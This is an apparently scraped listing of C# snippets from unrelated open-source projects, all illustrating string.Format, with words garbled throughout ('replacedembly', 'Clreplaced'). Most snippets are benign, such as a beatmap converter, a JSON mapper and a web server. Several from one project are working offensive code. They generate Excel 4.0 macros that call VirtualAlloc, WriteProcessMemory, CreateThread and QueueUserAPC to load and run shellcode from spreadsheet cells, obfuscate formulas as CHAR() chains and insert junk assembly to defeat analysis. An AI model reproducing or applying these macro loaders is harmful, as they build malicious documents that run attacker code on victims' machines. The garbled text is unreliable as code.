                                time = float.Parse(noteInfo[2]) / 1000,
                                // 其他 Slider 相关的处理
                            });
                        }
                        else if ((type & 0x08) != 0)
                        {
                            // Spinner
                            beatmap.noteList.Add(new Note
                            {
                                x = int.Parse(noteInfo[0]),
                                y = int.Parse(noteInfo[1]),
                                time = float.Parse(noteInfo[2]) / 1000,
                                // 其他 Spinner 相关的处理
                            });

                            beatmap.noteList.Add(new Note
                            {
                                x = int.Parse(noteInfo[0]),
                                y = int.Parse(noteInfo[1]),
                                time = float.Parse(noteInfo[5]) / 1000,
                                // 其他 Spinner 相关的处理
                            });
                        }
                    }
                }
                #endregion
            }

            string targetPath = directoryPath + ".json";
            if (File.Exists(targetPath))
            {
                File.Delete(targetPath);
            }
            File.WriteAllText(targetPath, music.ToJson());

            Debug.Log(string.Format("Converted osu! beatmap\n[{0}]\nto json file\n[{1}]", directoryPath, targetPath));
        }

        Debug.Log(string.Format("All done, converted {0} files.", sourceDirectories.Length));
    }

19 View Source File : XProjectEnv.cs
License : MIT License
Project Creator : 3F

public IDictionary<string, string> GetProjectProperties(Projecreplacedem pItem, IDictionary<string, string> slnProps)
        {
            if(!slnProps.ContainsKey(PropertyNames.CONFIG) || !slnProps.ContainsKey(PropertyNames.PLATFORM)) {
                throw new ArgumentException("Solution Configuration or Platform is not defined in used properties.");
            }

            var cfg = Sln.ProjectConfigs
                    .FirstOrDefault(c => 
                        c.PGuid == pItem.pGuid 
                        && c.Sln.IsEqualByRule
                        (
                            slnProps[PropertyNames.CONFIG], 
                            slnProps[PropertyNames.PLATFORM], 
                            true
                        )
                    );

            if(cfg?.Configuration == null || cfg.Platform == null)
            {
                LSender.Send(
                    this, 
                    String.Format(
                        "Project configuration is not found <- sln [{0}|{1}]",
                        slnProps[PropertyNames.CONFIG],
                        slnProps[PropertyNames.PLATFORM]
                    ), 
                    Message.Level.Warn
                );
                return slnProps;
            }

            string config   = cfg.ConfigurationByRule;
            string platform = cfg.PlatformByRule;
            LSender.Send(this, $"-> prj['{config}'; '{platform}']", Message.Level.Info);

            return new Dictionary<string, string>(slnProps) {
                [PropertyNames.CONFIG]      = config,
                [PropertyNames.PLATFORM]    = platform
            };
        }

19 View Source File : JsonMapper.cs
License : MIT License
Project Creator : 404Lcc

private static object ReadValue (Type inst_type, JsonReader reader)
        {
            reader.Read ();

            if (reader.Token == JsonToken.ArrayEnd)
                return null;

            //ILRuntime doesn't support nullable valuetype
            Type underlying_type = inst_type;//Nullable.GetUnderlyingType(inst_type);
            Type value_type = inst_type;

            if (reader.Token == JsonToken.Null) {
                if (inst_type.IsClreplaced || underlying_type != null) {
                    return null;
                }

                throw new JsonException (String.Format (
                            "Can't replacedign null to an instance of type {0}",
                            inst_type));
            }

            if (reader.Token == JsonToken.Double ||
                reader.Token == JsonToken.Int ||
                reader.Token == JsonToken.Long ||
                reader.Token == JsonToken.String ||
                reader.Token == JsonToken.Boolean) {

                Type json_type = reader.Value.GetType();
                var vt = value_type is ILRuntime.Reflection.ILRuntimeWrapperType ? ((ILRuntime.Reflection.ILRuntimeWrapperType)value_type).CLRType.TypeForCLR : value_type;

                if (vt.IsreplacedignableFrom(json_type))
                    return reader.Value;
                if (vt is ILRuntime.Reflection.ILRuntimeType && ((ILRuntime.Reflection.ILRuntimeType)vt).ILType.IsEnum)
                {
                    if (json_type == typeof(int) || json_type == typeof(long) || json_type == typeof(short) || json_type == typeof(byte))
                        return reader.Value;
                }
                // If there's a custom importer that fits, use it
                if (custom_importers_table.ContainsKey (json_type) &&
                    custom_importers_table[json_type].ContainsKey (
                        vt)) {

                    ImporterFunc importer =
                        custom_importers_table[json_type][vt];

                    return importer (reader.Value);
                }

                // Maybe there's a base importer that works
                if (base_importers_table.ContainsKey (json_type) &&
                    base_importers_table[json_type].ContainsKey (
                        vt)) {

                    ImporterFunc importer =
                        base_importers_table[json_type][vt];

                    return importer (reader.Value);
                }

                // Maybe it's an enum
                if (vt.IsEnum)
                    return Enum.ToObject (vt, reader.Value);

                // Try using an implicit conversion operator
                MethodInfo conv_op = GetConvOp (vt, json_type);

                if (conv_op != null)
                    return conv_op.Invoke (null,
                                           new object[] { reader.Value });

                // No luck
                throw new JsonException (String.Format (
                        "Can't replacedign value '{0}' (type {1}) to type {2}",
                        reader.Value, json_type, inst_type));
            }

            object instance = null;

            if (reader.Token == JsonToken.ArrayStart) {

                AddArrayMetadata (inst_type);
                ArrayMetadata t_data = array_metadata[inst_type];

                if (! t_data.IsArray && ! t_data.IsList)
                    throw new JsonException (String.Format (
                            "Type {0} can't act as an array",
                            inst_type));

                IList list;
                Type elem_type;

                if (! t_data.IsArray) {
                    list = (IList) Activator.CreateInstance (inst_type);
                    elem_type = t_data.ElementType;
                } else {
                    list = new ArrayList ();
                    elem_type = inst_type.GetElementType ();
                }

                while (true) {
                    object item = ReadValue (elem_type, reader);
                    if (item == null && reader.Token == JsonToken.ArrayEnd)
                        break;
                    var rt = elem_type is ILRuntime.Reflection.ILRuntimeWrapperType ? ((ILRuntime.Reflection.ILRuntimeWrapperType)elem_type).RealType : elem_type;
                    if (elem_type is ILRuntime.Reflection.ILRuntimeType && ((ILRuntime.Reflection.ILRuntimeType)elem_type).ILType.IsEnum)
                    {
                        item = (int) item;
                    }
                    else
                    {
                        item = rt.CheckCLRTypes(item);            
                    }
                    list.Add (item);         
                    
                }

                if (t_data.IsArray) {
                    int n = list.Count;
                    instance = Array.CreateInstance (elem_type, n);

                    for (int i = 0; i < n; i++)
                        ((Array) instance).SetValue (list[i], i);
                } else
                    instance = list;

            } else if (reader.Token == JsonToken.ObjectStart)
            {
                AddObjectMetadata(value_type);
                ObjectMetadata t_data = object_metadata[value_type];
                if (value_type is ILRuntime.Reflection.ILRuntimeType)
                    instance = ((ILRuntime.Reflection.ILRuntimeType) value_type).ILType.Instantiate();
                else
                    instance = Activator.CreateInstance(value_type);
                bool isIntKey = t_data.IsDictionary && value_type.GetGenericArguments()[0] == typeof(int);
                while (true)
                {
                    reader.Read();

                    if (reader.Token == JsonToken.ObjectEnd)
                        break;

                    string key = (string) reader.Value;

                    if (t_data.Properties.ContainsKey(key))
                    {
                        PropertyMetadata prop_data =
                            t_data.Properties[key];

                        if (prop_data.IsField)
                        {
                            ((FieldInfo) prop_data.Info).SetValue(
                                instance, ReadValue(prop_data.Type, reader));
                        }
                        else
                        {
                            PropertyInfo p_info =
                                (PropertyInfo) prop_data.Info;

                            if (p_info.CanWrite)
                                p_info.SetValue(
                                    instance,
                                    ReadValue(prop_data.Type, reader),
                                    null);
                            else
                                ReadValue(prop_data.Type, reader);
                        }

                    }
                    else
                    {
                        if (!t_data.IsDictionary)
                        {

                            if (!reader.SkipNonMembers)
                            {
                                throw new JsonException(String.Format(
                                    "The type {0} doesn't have the " +
                                    "property '{1}'",
                                    inst_type, key));
                            }
                            else
                            {
                                ReadSkip(reader);
                                continue;
                            }
                        }

                        var dict = ((IDictionary) instance);
                        var elem_type = t_data.ElementType;
                        object readValue = ReadValue(elem_type, reader);
                        var rt = t_data.ElementType is ILRuntime.Reflection.ILRuntimeWrapperType
                            ? ((ILRuntime.Reflection.ILRuntimeWrapperType) t_data.ElementType).RealType
                            : t_data.ElementType;
                        //value 是枚举的情况没处理,毕竟少
                        if (isIntKey)
                        {
                            var dictValueType = value_type.GetGenericArguments()[1];
                            IConvertible convertible = dictValueType as IConvertible;
                            if (convertible == null)
                            {
                                //自定义类型扩展
                                if (dictValueType == typeof(double)) //CheckCLRTypes() 没有double,也可以修改ilruntime源码实现
                                {
                                    var v = Convert.ChangeType(readValue.ToString(), dictValueType);
                                    dict.Add(Convert.ToInt32(key), v);
                                }
                                else
                                {
                                    readValue = rt.CheckCLRTypes(readValue);
                                    dict.Add(Convert.ToInt32(key), readValue);
                                    // throw new JsonException (String.Format("The type {0} doesn't not support",dictValueType));
                                }
                            }
                            else
                            {
                                var v = Convert.ChangeType(readValue, dictValueType);
                                dict.Add(Convert.ToInt32(key), v);
                            }
                        }
                        else
                        {
                            readValue = rt.CheckCLRTypes(readValue);
                            dict.Add(key, readValue);
                        }
                    }

                }
            }

            return instance;
        }

19 View Source File : Server.cs
License : MIT License
Project Creator : 5minlab

private void RegisterRoutes() {
            if (registeredRoutes == null) {
                registeredRoutes = new List<RouteAttribute>();

                foreach (replacedembly replacedembly in AppDomain.CurrentDomain.Getreplacedemblies()) {
                    foreach (Type type in replacedembly.GetTypes()) {
                        // FIXME add support for non-static methods (FindObjectByType?)
                        foreach (MethodInfo method in type.GetMethods(BindingFlags.Public | BindingFlags.Static)) {
                            RouteAttribute[] attrs = method.GetCustomAttributes(typeof(RouteAttribute), true) as RouteAttribute[];
                            if (attrs.Length == 0)
                                continue;

                            RouteAttribute.Callback cbm = Delegate.CreateDelegate(typeof(RouteAttribute.Callback), method, false) as RouteAttribute.Callback;
                            if (cbm == null) {
                                Debug.LogError(string.Format("Method {0}.{1} takes the wrong arguments for a console route.", type, method.Name));
                                continue;
                            }

                            // try with a bare action
                            foreach (RouteAttribute route in attrs) {
                                if (route.m_route == null) {
                                    Debug.LogError(string.Format("Method {0}.{1} needs a valid route regexp.", type, method.Name));
                                    continue;
                                }

                                route.m_callback = cbm;
                                registeredRoutes.Add(route);
                            }
                        }
                    }
                }
                RegisterFileHandlers();
            }
        }

19 View Source File : OrderByClause.cs
License : MIT License
Project Creator : 71

public override string ToString() => string.Format("{0} {1}", Key, IsAscending ? "ascending": "descending");

19 View Source File : Shell.cs
License : MIT License
Project Creator : 5minlab

private void RegisterAttributes() {
#if !NETFX_CORE
            foreach (replacedembly replacedembly in AppDomain.CurrentDomain.Getreplacedemblies()) {
                // HACK: IL2CPP crashes if you attempt to get the methods of some clreplacedes in these replacedemblies.
                if (replacedembly.FullName.StartsWith("System") || replacedembly.FullName.StartsWith("mscorlib")) {
                    continue;
                }
                foreach (Type type in replacedembly.GetTypes()) {
                    // FIXME add support for non-static methods (FindObjectByType?)
                    foreach (MethodInfo method in type.GetMethods(BindingFlags.Public | BindingFlags.Static)) {
                        CommandAttribute[] attrs = method.GetCustomAttributes(typeof(CommandAttribute), true) as CommandAttribute[];
                        if (attrs.Length == 0)
                            continue;

                        CommandAttribute.Callback cb = Delegate.CreateDelegate(typeof(CommandAttribute.Callback), method, false) as CommandAttribute.Callback;
                        if (cb == null) {
                            CommandAttribute.CallbackSimple cbs = Delegate.CreateDelegate(typeof(CommandAttribute.CallbackSimple), method, false) as CommandAttribute.CallbackSimple;
                            if (cbs != null) {
                                cb = delegate (string[] args) {
                                    cbs();
                                };
                            }
                        }

                        if (cb == null) {
                            Debug.LogError(string.Format("Method {0}.{1} takes the wrong arguments for a console command.", type, method.Name));
                            continue;
                        }

                        // try with a bare action
                        foreach (CommandAttribute cmd in attrs) {
                            if (string.IsNullOrEmpty(cmd.m_command)) {
                                Debug.LogError(string.Format("Method {0}.{1} needs a valid command name.", type, method.Name));
                                continue;
                            }

                            cmd.m_callback = cb;
                            m_commands.Add(cmd);
                        }
                    }
                }
            }
#endif
        }

19 View Source File : ObjectPool.Pool.partial.cs
License : MIT License
Project Creator : 7Bytes-Studio

private void CheckCapacityOrThrow()
            {
                if (Count>=Capacity)
                {
                    throw new Exception(string.Format("对象池'{0}'内可复用对象为0,当尝试用工厂生产对象时已超过对象池的容量上限{1},请回收或释放后再操作!", Name,Capacity));
                }
            }

19 View Source File : WebServer.cs
License : Apache License 2.0
Project Creator : A7ocin

void OnGetContext(IAsyncResult async)
        {
            // start listening for the next request
            _listener.BeginGetContext(OnGetContext, null);
            var context = _listener.EndGetContext(async);
            try
            {
                if (context.Request.RawUrl == "/")
                {
                    Debug.Log("[WebServer] context.Request.RawUrl");
                    context.Response.StatusCode = 200;
                    var process = System.Diagnostics.Process.GetCurrentProcess();
                    string msg = string.Format(@"<html><body><h1>UMA Simple Web Server</h1><table>
						<tr><td>Host Application</td><td>{0} (Process Id: {1})</td></tr>
						<tr><td>Working Directory</td><td>{2}</td></tr>
						</table><br><br>{3}</body></html>", process.ProcessName, process.Id, System.IO.Directory.GetCurrentDirectory(), GetLog("<br>"));
                    var data = System.Text.Encoding.UTF8.GetBytes(msg);
                    context.Response.OutputStream.Write(data, 0, data.Length);
                    context.Response.OutputStream.Close();
                    //Tried adding response close aswell like in Adamas original
                    context.Response.Close();
                }
                else
                {
                    var filePath = System.IO.Path.Combine(_hostedFolder, context.Request.RawUrl.Substring(1));
                    if (System.IO.File.Exists(filePath))
                    {
                        using (var file = System.IO.File.Open(filePath, System.IO.FileMode.Open))
                        {
                            var buffer = new byte[file.Length];
                            file.Read(buffer, 0, (int)file.Length);
                            context.Response.ContentLength64 = file.Length;
                            context.Response.StatusCode = 200;
                            context.Response.OutputStream.Write(buffer, 0, (int)file.Length);
                        }
                    }
                    else
                    {
                        context.Response.StatusCode = 404;
                        UnityEngine.Debug.LogErrorFormat("Url not served. Have you built your replacedet Bundles? Url not served from: {0} '{1}'", context.Request.RawUrl, filePath);
#if UNITY_EDITOR
                        replacedetBundleManager.SimulateOverride = true;
                        context.Response.OutputStream.Close();
                        //Tried adding response close aswell like in Adamas original
                        context.Response.Abort();
                        return;
#endif
                    }
                }
                lock (_requestLog)
                {
                    _requestLog.Add(string.Format("{0} {1}", context.Response.StatusCode, context.Request.Url));
                }
                context.Response.OutputStream.Close();
                context.Response.Close();
            }
            catch (HttpListenerException e)
            {
                if (e.ErrorCode == -2147467259)
                {
                    // shutdown, terminate silently
                    Debug.LogWarning("[Web Server] ErrorCode -2147467259: terminate silently");
                    context.Response.Abort();
                    return;
                }
                UnityEngine.Debug.LogException(e);
                context.Response.Abort();
            }
            catch (Exception e)
            {
                UnityEngine.Debug.LogException(e);
                context.Response.Abort();
            }
        }

19 View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1

public static List<String> GetX86GetBinaryLoaderPattern(List<string> preamble, string macroSheetName)
        {
            int offset;
            if (preamble.Count == 0)
            {
                offset = 1;
            } else
            {
                offset = preamble.Count + 1;
            }
            //TODO Autocalculate these values at generation time
            //These variables replacedume certain positions in generated macros
            //Col 1 is our obfuscated payload
            //Col 2 is our actual macro set defined below
            //Col 3 is a separated set of cells containing a binary payload, ends with the string END
            string lengthCounter = String.Format("R{0}C40", offset);
            string offsetCounter = String.Format("R{0}C40", offset + 1);
            string dataCellRef = String.Format("R{0}C40", offset + 2);
            string dataCol = "C2";

            //Expects our invocation of VirtualAlloc to be on row 5, but this will change if the macro changes
            string baseMemoryAddress = String.Format("R{0}C1", preamble.Count + 4); //for some reason this only works when its count, not offset

            //TODO [Stealth] Add VirtualProtect so we don't call VirtualAlloc with RWX permissions
            //TODO [Functionality] Apply x64 support changes from https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js
            //TODO [Functionality] Add support for .NET payloads (https://docs.microsoft.com/en-us/dotnet/core/tutorials/netcore-hosting, https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/)
            List<string> macros = new List<string>()
            {
                "=REGISTER(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",\"VA\",,1,0)",
                "=REGISTER(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",\"CT\",,1,0)",
                "=REGISTER(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",\"WPM\",,1,0)",
                "=VA(0,10000000,4096,64)", //Referenced by baseMemoryAddress
                string.Format("=SET.VALUE({0}!{1}, 0)", macroSheetName, lengthCounter),
                string.Format("=SET.VALUE({0}!{1},1)", macroSheetName, offsetCounter),
                string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
                string.Format("=WHILE(GET.CELL(5,{0}!{1})<>\"END\")", macroSheetName, dataCellRef),
                string.Format("=WPM(-1,{0}!{1}+{0}!{2},{0}!{3},LEN({0}!{3}),0)", macroSheetName, baseMemoryAddress, lengthCounter, dataCellRef),
                string.Format("=SET.VALUE({0}!{1}, {0}!{1} + 1)", macroSheetName, offsetCounter),
                string.Format("=SET.VALUE({0}!{1}, {0}!{1} + LEN({0}!{2}))", macroSheetName, lengthCounter, dataCellRef),
                string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
                "=NEXT()",
                //Execute our Payload
                string.Format("=CT(0,0,{0}!{1},0,0,0)", macroSheetName, baseMemoryAddress),
                "=WAIT(NOW()+\"00:00:03\")",
                "=HALT()"
            };
            if (preamble.Count > 0)
            {
                return preamble.Concat(macros).ToList();
            }
            return macros;
        }

19 View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1

public static List<String> GetMultiPlatformBinaryPattern(List<string> preamble, string macroSheetName)
        {
            int offset;
            if (preamble.Count == 0)
            {
                offset = 1;
            }
            else
            {
                offset = preamble.Count + 1;
            }


            //These variables replacedume certain positions in generated macros
            //Col 1 is our main logic
            //Col 2 is our x86 payload, terminated by END
            //Col 3 is our x64 payload, terminated by END
            string x86CellStart = string.Format("R{0}C1", offset + 4);     //A5
            string x64CellStart = string.Format("R{0}C1", offset + 15);    //A16
            string variableName = DefaultVariableName; 
            string x86PayloadCellStart = "R1C2";  //B1
            string x64PayloadCellStart = "R1C3";  //C1
            string rowsWrittenCell = "R1C4";      //D1
            string lengthOfCurrentCell = "R2C4";  //D2
            //Happens to be the same cell right now
            string x86AllocatedMemoryBase = x86CellStart;
            string x64AllocatedMemoryBase = string.Format("R{0}C1", offset + 16); //A17

            List<string> macros = new List<string>()
            {
                "=REGISTER(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",\"Valloc\",,1,9)",
                "=REGISTER(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",\"WProcessMemory\",,1,9)",
                "=REGISTER(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",\"CThread\",,1,9)",
                string.Format("=IF(ISNUMBER(SEARCH(\"32\",GET.WORKSPACE(1))),GOTO({0}),GOTO({1}))",x86CellStart, x64CellStart),
                "=Valloc(0,10000000,4096,64)",
                string.Format("{0}={1}", variableName, x86PayloadCellStart),
                string.Format("=SET.VALUE({0},0)", rowsWrittenCell),
                string.Format("=WHILE({0}<>\"END\")", variableName),
                string.Format("=SET.VALUE({0},LEN({1}))", lengthOfCurrentCell, variableName),
                string.Format("=WProcessMemory(-1,{0}+({1}*255),{2},LEN({2}),0)", x86AllocatedMemoryBase, rowsWrittenCell, variableName),
                string.Format("=SET.VALUE({0},{0}+1)", rowsWrittenCell),
                string.Format("{0}=ABSREF(\"R[1]C\",{0})",variableName),
                "=NEXT()",
                string.Format("=CThread(0,0,{0},0,0,0)", x86AllocatedMemoryBase),
                "=HALT()",
                "1342439424", //Base memory address to brute force a page
                "0",
                string.Format("=WHILE({0}=0)", x64AllocatedMemoryBase),
                string.Format("=SET.VALUE({0},Valloc({1},10000000,12288,64))", x64AllocatedMemoryBase, x64CellStart),
                string.Format("=SET.VALUE({0},{0}+262144)", x64CellStart),
                "=NEXT()",
                "=REGISTER(\"Kernel32\",\"RtlCopyMemory\",\"JJCJ\",\"RTL\",,1,9)",
                "=REGISTER(\"Kernel32\",\"QueueUserAPC\",\"JJJJ\",\"Queue\",,1,9)",
                "=REGISTER(\"ntdll\",\"NtTestAlert\",\"J\",\"Go\",,1,9)",
                string.Format("{0}={1}", variableName, x64PayloadCellStart),
                string.Format("=SET.VALUE({0},0)", rowsWrittenCell),
                string.Format("=WHILE({0}<>\"END\")", variableName),
                string.Format("=SET.VALUE({0},LEN({1}))", lengthOfCurrentCell, variableName),
                string.Format("=RTL({0}+({1}*255),{2},LEN({2}))", x64AllocatedMemoryBase, rowsWrittenCell, variableName),
                string.Format("=SET.VALUE({0},{0}+1)",rowsWrittenCell),
                string.Format("{0}=ABSREF(\"R[1]C\",{0})", variableName),
                "=NEXT()",
                string.Format("=Queue({0},-2,0)", x64AllocatedMemoryBase),
                "=Go()",
                string.Format("=SET.VALUE({0},0)",x64AllocatedMemoryBase),
                "=HALT()"
            };
            
            if (preamble.Count > 0)
            {
                return preamble.Concat(macros).ToList();
            }

            return macros;
        }

19 View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1

public static List<String> GetBase64DecodePattern(List<string> preamble)
        {
            int offset;
            if (preamble.Count == 0)
            {
                offset = 1;
            }
            else
            {
                offset = preamble.Count + 1;
            }


            //These variables replacedume certain positions in generated macros
            //Col 1 is our main logic
            string registerImportsFunction = string.Format("R{0}C1", offset+1);     //A2
            string allocateMemoryFunction  = string.Format("R{0}C1", offset+5);   //A6
            string writeLoopFunction       = string.Format("R{0}C1", offset+12);  //A13
            string defineFunctionsFunction = string.Format("R{0}C1", offset+26);  //A27
            string actualStart             = string.Format("R{0}C1", offset + 30); //A31
            //Col 2 is our x86 payload, terminated by END
            string x86Payload = string.Format("R1C{0}", 2);
            //Col 3 is our x64 payload, terminated by END
            string x64Payload = string.Format("R1C{0}", 3);

            List<string> macros = new List<string>()
            {
                string.Format("=GOTO({0})",actualStart),
                "=REGISTER(\"kernel32\", \"VirtualAlloc\", \"JJJJJ\", \"valloc\", , 1, 9)",
                "=REGISTER(\"crypt32\",\"CryptStringToBinaryA\",\"JCJJJNCC\",\"cryptString\",,1,9)",
                "=REGISTER(\"shlwapi\",\"SHCreateThread\",\"JJCJJ\",\"shCreateThread\",,1,9)",
                "=RETURN()",
                "curAddr=1342439424", // Set our start address at 0x50000000
                "targetAddr=0",
                "=WHILE(targetAddr=0)",
                "targetAddr=valloc(curAddr,10000000,12288,576)", // Allocate 10MB for shellcode
                "curAddr=curAddr+262144", // Iterate every 0x40000 bytes
                "=NEXT()",
                "=RETURN(targetAddr)",
                "=ARGUMENT(\"targetWriteAddr\",1)",
                "=ARGUMENT(\"curWriteRef\",8)",
                "=ARGUMENT(\"decryptKey\",2)",
                "curLoopWriteAddr=targetWriteAddr",
                "=WHILE(curWriteRef<>\"END\")",
                "=IF(LEN(decryptKey)>0)",
                "TODO-decryptionfunction",
                "=ELSE()",
                "=cryptString(curWriteRef,LEN(curWriteRef),1,curLoopWriteAddr,256,\"\",\"\")",
                "=END.IF()",
                "curLoopWriteAddr=curLoopWriteAddr+(3*LEN(curWriteRef)/4)",
                "curWriteRef=ABSREF(\"R[1]C\",curWriteRef)",
                "=NEXT()",
                "=RETURN(curLoopWriteAddr-targetWriteAddr)",
                string.Format("RegisterImports={0}", registerImportsFunction),
                string.Format("AllocateMemory={0}", allocateMemoryFunction),
                string.Format("WriteLoop={0}", writeLoopFunction),
                "=RETURN()",
                string.Format("={0}()", defineFunctionsFunction),
                "=RegisterImports()",
                "targetAddress=AllocateMemory()",
                string.Format("=IF(ISNUMBER(SEARCH(\"32\",GET.WORKSPACE(1))),SET.NAME(\"payload\",{0}),SET.NAME(\"payload\",{1}))", x86Payload, x64Payload),
                "bytesWritten=WriteLoop(targetAddress,payload,\"\")",
                "=shCreateThread(targetAddress,\"\",0,0)",
                "=HALT()"
            };
            
            if (preamble.Count > 0)
            {
                return preamble.Concat(macros).ToList();
            }

            return macros;
        }

19 View Source File : BitfinexApi.cs
License : MIT License
Project Creator : aabiryukov

public static BitfinexOrderBookGet GetOrderBook(BtcInfo.PairTypeEnum pairType, int limitBids = 30, int limitAsks = 30)
		{
			try
			{
				var url = DepthOfBookRequestUrl + Enum.GetName(typeof(BtcInfo.PairTypeEnum), pairType);
				var response = WebApi.GetBaseResponse(url + string.Format("?limit_bids={0};limit_asks={1}", limitBids, limitAsks));
				var orderBookResponseObj = JsonConvert.DeserializeObject<BitfinexOrderBookGet>(response);
				return orderBookResponseObj;
			}
			catch (Exception ex)
			{
				Log.Error(ex);
				return new BitfinexOrderBookGet();
			}
		}

19 View Source File : obfuscator.cs
License : MIT License
Project Creator : aaaddress1

private static void obfuscatCode(string orginalCode, ref string currLineAddition, ref string extraCodeAddition, bool forceJunk = false)
        {
            currLineAddition = orginalCode + "\r\n";
            extraCodeAddition = "";
            if (!shouldGeneratJunk() && !forceJunk) return;

            obfuscat_code_count++;
            Match m = new Regex(@"mov[\x20\t]+([^,]+),(.+)").Match(orginalCode);
            if (m.Success)
            {
                currLineAddition = string.Format(
                    "push {1}           \r\n" +
                    "call obfusca_{2}   \r\n" +
                    "pop {0}            \r\n",
                    m.Groups[1].Value, m.Groups[2].Value, label_extra_count
                    );

                extraCodeAddition = string.Format(
                    "obfusca_{0}:       \r\n" +
                    "pushf              \r\n" +
                    "push ecx           \r\n" +
                    "mov ecx, {2}      \r\n" +
                    "obfusca_{1}:       \r\n" +
                    "loop obfusca_{1}   \r\n" +
                    "pop ecx            \r\n" +
                    "popf               \r\n" +
                    "ret                \r\n", label_extra_count, label_extra_count+1, rnd.Next(5, 128)
                    );
                    label_extra_count += 2;
                return;
            }

            m = new Regex(@"call[\x20\t]+(.+)").Match(orginalCode);
            if (m.Success)
            {
                currLineAddition = string.Format(
                    "push offset obfusca_{1}         \r\n" +
                    "push offset {0}                        \r\n" +
                    "ret                             \r\n" +
                    "obfusca_{1}:",
                    m.Groups[1].Value, label_extra_count
                    );
                extraCodeAddition = "";
                label_extra_count += 1;
                return;
            }

            currLineAddition = string.Format(
                "obfusca_{1}:       \r\n" +
                "call obfusca_{2}   \r\n" +
                "loop obfusca_{1}    \r\n" +
                "obfusca_{2}:       \r\n" +
                "call obfusca_{3}    \r\n"+
                "loop obfusca_{1}   \r\n" +
                "obfusca_{3}:       \r\n" +
                "call obfusca_{4}   \r\n" +
                "loop obfusca_{2}   \r\n" +
                "obfusca_{4}:       \r\n" +
                "lea esp, [esp+12]  \r\n" +
                "{0}                \r\n",
                orginalCode, label_extra_count, label_extra_count + 1, label_extra_count + 2, label_extra_count + 3
                );
            label_extra_count += 4;

        }

19 View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1

public static string ReplaceSelectActiveCellFormula(string cellFormula, string variableName = DefaultVariableName)
        {
            if (cellFormula.Contains("ACTIVE.CELL()"))
            {
                cellFormula = cellFormula.Replace("ACTIVE.CELL()", variableName);
            }

            string selectRegex = @"=SELECT\(.*?\)";
            string selectRelativeRegex = @"=SELECT\(.*(R(\[\d+\]){0,1}C(\[\d+\]){0,1}).*?\)";

            Regex sRegex = new Regex(selectRegex);
            Regex srRegex = new Regex(selectRelativeRegex);
            Match sRegexMatch = sRegex.Match(cellFormula);
            if (sRegexMatch.Success)
            {
                Match srRegexMatch = srRegex.Match(cellFormula);
                string selectStringMatch = sRegexMatch.Value;
                //We have a line like =SELECT(,"R[1]C")
                if (srRegexMatch.Success)
                {
                    string relAddress = srRegexMatch.Groups[1].Value;
                    string relReplace = cellFormula.Replace(selectStringMatch,
                        string.Format("{0}=ABSREF(\"{1}\",{0})", variableName, relAddress));
                    return relReplace;
                }
                //We have a line like =SELECT(B1:B111,B1)
                else
                {
                    string targetCell = selectStringMatch.Split(",").Last().Split(')').First();
                    string varreplacedign = cellFormula.Replace(selectStringMatch,
                        string.Format("{0}={1}", variableName, targetCell));
                    return varreplacedign;
                }
            }

            return cellFormula;
        }

19 View Source File : FormulaHelper.cs
License : Apache License 2.0
Project Creator : aaaddress1

public static List<BiffRecord> ConvertMaxLengthStringToFormulas(string curString, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
        {
            string actualString =
                new string(curString.Skip(FormulaHelper.TOOLONGMARKER.Length).ToArray());

            string earlyString = new string(actualString.Take(16).ToArray());
            string remainingString = new string(actualString.Skip(16).ToArray());
            List<BiffRecord> formulas = new List<BiffRecord>();

            int curRow = rwStart;
            int curCol = colStart;


            Random r = new Random();
            int rndCol = r.Next(0x90, 0x9F);
            int rndRw = r.Next(0xF000, 0xF800);
            formulas.AddRange(ConvertStringToFormulas(remainingString, curRow, curCol, rndRw, rndCol, ixfe, packingMethod));

            curRow += formulas.Count;

            Cell remainderCell = new Cell(rndRw, rndCol);
            List<Cell> createdCells = new List<Cell>();

            //Create a formula string like 
            //"=CHAR(123)&CHAR(234)&CHAR(345)&R[RandomRw]C[RandomCol]";
            //To split the 255 bytes into multiple cells - the first few bytes are CHAR() encoded, the remaining can be wrapped in ""s
            string macroString = "=";

            foreach (char c in earlyString)
            {
                macroString += string.Format("CHAR({0})&", Convert.ToUInt16(c));
            }
            macroString += string.Format("R{0}C{1}",rndRw + 1, rndCol + 1);
            createdCells.Add(remainderCell);

            List<BiffRecord> mainFormula = ConvertStringToFormulas(macroString, curRow, curCol, dstRw, dstCol, ixfe, packingMethod);
            formulas.AddRange(mainFormula);

            return formulas;
        }

See More Examples